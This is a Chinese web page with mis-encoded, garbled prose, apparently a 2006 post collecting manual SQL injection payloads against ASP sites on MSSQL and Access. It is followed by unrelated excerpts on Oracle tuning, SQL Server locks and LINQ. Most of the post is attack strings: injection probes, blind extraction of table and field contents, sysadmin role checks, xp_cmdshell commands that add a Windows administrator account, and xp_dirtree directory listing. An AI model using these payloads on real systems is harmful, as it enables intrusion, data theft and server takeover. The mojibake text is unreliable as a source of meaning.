Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

sqlÊÖ¹¤×¢Èë

SQLÊÖ¹¤×¢Èë´óÈ«
2006Äê08ÔÂ11ÈÕ ÐÇÆÚÎå 21:00
±È·½ËµÔÚ²éѯidÊÇ50µÄÊý¾Ýʱ£¬Èç¹ûÓû§´«½üÀ´µÄ²ÎÊýÊÇ50 and 1=1£¬Èç¹ûûÓÐÉèÖùýÂ˵ϰ£¬¿ÉÒÔÖ±½Ó²é³öÀ´£¬SQL ×¢ÈëÒ»°ãÔÚASP³ÌÐòÖÐÓöµ½×î¶à£¬
¿´¿´ÏÂÃæµÄ
1.ÅжÏÊÇ·ñÓÐ×¢Èë
;and 1=1
;and 1=2
2.³õ²½ÅжÏÊÇ·ñÊÇmssql
;and user>0
3.ÅжÏÊý¾Ý¿âϵͳ
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.×¢Èë²ÎÊýÊÇ×Ö·û
'and [²éѯÌõ¼þ] and ''='
5.ËÑË÷ʱû¹ýÂ˲ÎÊýµÄ
'and [²éѯÌõ¼þ] and '%25'='
6.²ÂÊý¾Ý¿â
;and (select Count(*) from [Êý¾Ý¿âÃû])>0
7.²Â×Ö¶Î
;and (select Count(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0
8.²Â×Ö¶ÎÖмǼ³¤¶È
;and (select top 1 len(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0
9.(1)²Â×ֶεÄasciiÖµ£¨access£©
;and (select top 1 asc(mid(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)>0
(2)²Â×ֶεÄasciiÖµ£¨mssql£©
;and (select top 1 unicode(substring(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)>0
10.²âÊÔȨÏ޽ṹ£¨mssql£©
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.Ìí¼ÓmssqlºÍϵͳµÄÕÊ»§
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)±éÀúĿ¼
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('Éϲ½µÃµ½µÄpaths'))>)
(2)±éÀúĿ¼


Ïà¹ØÎĵµ£º

ORACLE SQLµÄÓÅ»¯


SQLµÄÓÅ»¯Ó¦¸Ã´Ó5¸ö·½Ãæ½øÐе÷Õû£º
1.È¥µô²»±ØÒªµÄ´óÐͱíµÄÈ«±íɨÃè
2.»º´æÐ¡ÐͱíµÄÈ«±íɨÃè
3.¼ìÑéÓÅ»¯Ë÷ÒýµÄʹÓÃ
4.¼ìÑéÓÅ»¯µÄÁ¬½Ó¼¼Êõ
5.¾¡¿ÉÄܼõÉÙÖ´Ðмƻ®µÄCost
SQLÓï¾ä£º
ÊǶÔÊý¾Ý¿â(Êý¾Ý)½øÐвÙ×÷µÄΩһ;¾¶£»
ÏûºÄÁË70%~90%µÄÊý¾Ý¿â×ÊÔ´£»¶ÀÁ¢ÓÚ³ÌÐòÉè¼ÆÂß¼­£¬Ïà¶ÔÓÚ¶Ô³ÌÐòÔ´´úÂëµÄÓÅ»¯£¬¶ÔSQLÓï¾äµÄÓÅ» ......

Ãâ°²×°Oracle¿Í»§¶ËʹÓÃPL/SQLÁ¬½ÓOracle


´ó¼Ò¶¼ÖªµÀ£¬ÓÃPL/SQLÁ¬½ÓOracle£¬ÊÇÐèÒª°²×°Oracle¿Í»§¶ËÈí¼þµÄ¡£ÓÐûҪÏë¹ý²»°²×°Oracle¿Í»§¶ËÖ±½ÓÁ¬½ÓOracleÄØ£¿
      ÆäʵÎÒÒ»Ö±ÏëÕâÑù×ö£¬ÒòΪÕâ¸ö¿Í»§¶ËʵÔÚÌ«ÈÃÈËÌÖÑáÁË£¡£¡£¡²»µ«»á°²×°Ò»¸öJDK£¬¶øÇÒ»¹»á°Ñ×Ô¼º·ÅÔÚ»·¾³±äÁ¿µÄ×îÇ°Ãæ£¬»áÔì³É²»Ð¡µÄÂé·³¡£
    &n ......

SQL ServerÊý¾Ý¿âËø»úÖÆ¼°ÀàÐÍ

Microsoft SQL Server£¨ÒÔϼò³ÆSQL Server£©×÷ΪһÖÖÖÐСÐÍÊý¾Ý¿â¹ÜÀíϵͳ£¬ÒѾ­µÃµ½Á˹㷺µÄÓ¦Ó㬸Ãϵͳ¸üÇ¿µ÷ÓÉϵͳÀ´¹ÜÀíËø¡£ÔÚÓû§ÓÐSQLÇëÇóʱ£¬ÏµÍ³·ÖÎöÇëÇó£¬×Ô¶¯ÔÚÂú×ãËø¶¨Ìõ¼þºÍϵͳÐÔÄÜÖ®¼äΪÊý¾Ý¿â¼ÓÉÏÊʵ±µÄËø£¬Í¬Ê±ÏµÍ³ÔÚÔËÐÐÆÚ¼ä³£³£×Ô¶¯½øÐÐÓÅ»¯´¦Àí£¬ÊµÐж¯Ì¬¼ÓËø¡£
¡¡¡¡¶ÔÓÚÒ»°ãµÄÓû§¶øÑÔ£¬Í¨¹ýϵͳµÄ× ......

LINQ to SQL ²éѯÊý¾Ý¿âºÍʹÓô洢¹ý³Ì


ÈçÏÂÁгö²éѯ±í´ïʽ£¬³£ÓòÙ×÷·û£¬ÓëSQLÓï¾ä¶ÔÓ¦¡£

where  ¹Ø¼ü×ÖµÄʹÓÃ
public void MyWhere()
{
NorthwindDataContext dc = new NorthwindDataContext();
//²éѯ²úÆ·Ãû³ÆÒÔL¿ªÍ·µÄ¼Ç¼
var query = from p in dc.Products
where p.Prod ......

SQL SERVERʹÓÃÁ´½Ó·þÎñÆ÷

1¡¢ÔÚÁíһ̨»úÆ÷ÉϽ¨Á¢¶ÀÁ¢µÄÊý¾Ý¿â·þÎñÆ÷£¬×÷ΪÁ´½ÓÄ¿±ê
2¡¢±¾µØÊý¾Ý¿â·þÎñÆ÷ÉÏÌí¼Ó“Á´½Ó·þÎñÆ÷”£º
Ãû×Ö£ºËæ±ãȡһ¸öÃû×Ö
·þÎñÆ÷ÀàÐÍ£ºÑ¡ÔñÊý¾ÝÔ´£ºMicrosoft OLE DB Provider for SQL Server
Êý¾ÝÔ´£ºÐ´±ðÃû£¨ÔÚ¿Í»§¶ËÍøÂçʵÓù¤¾ßÖÐÉèÖã©
Ñ¡ÖÐRPCºÍRPCÊä³ö ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ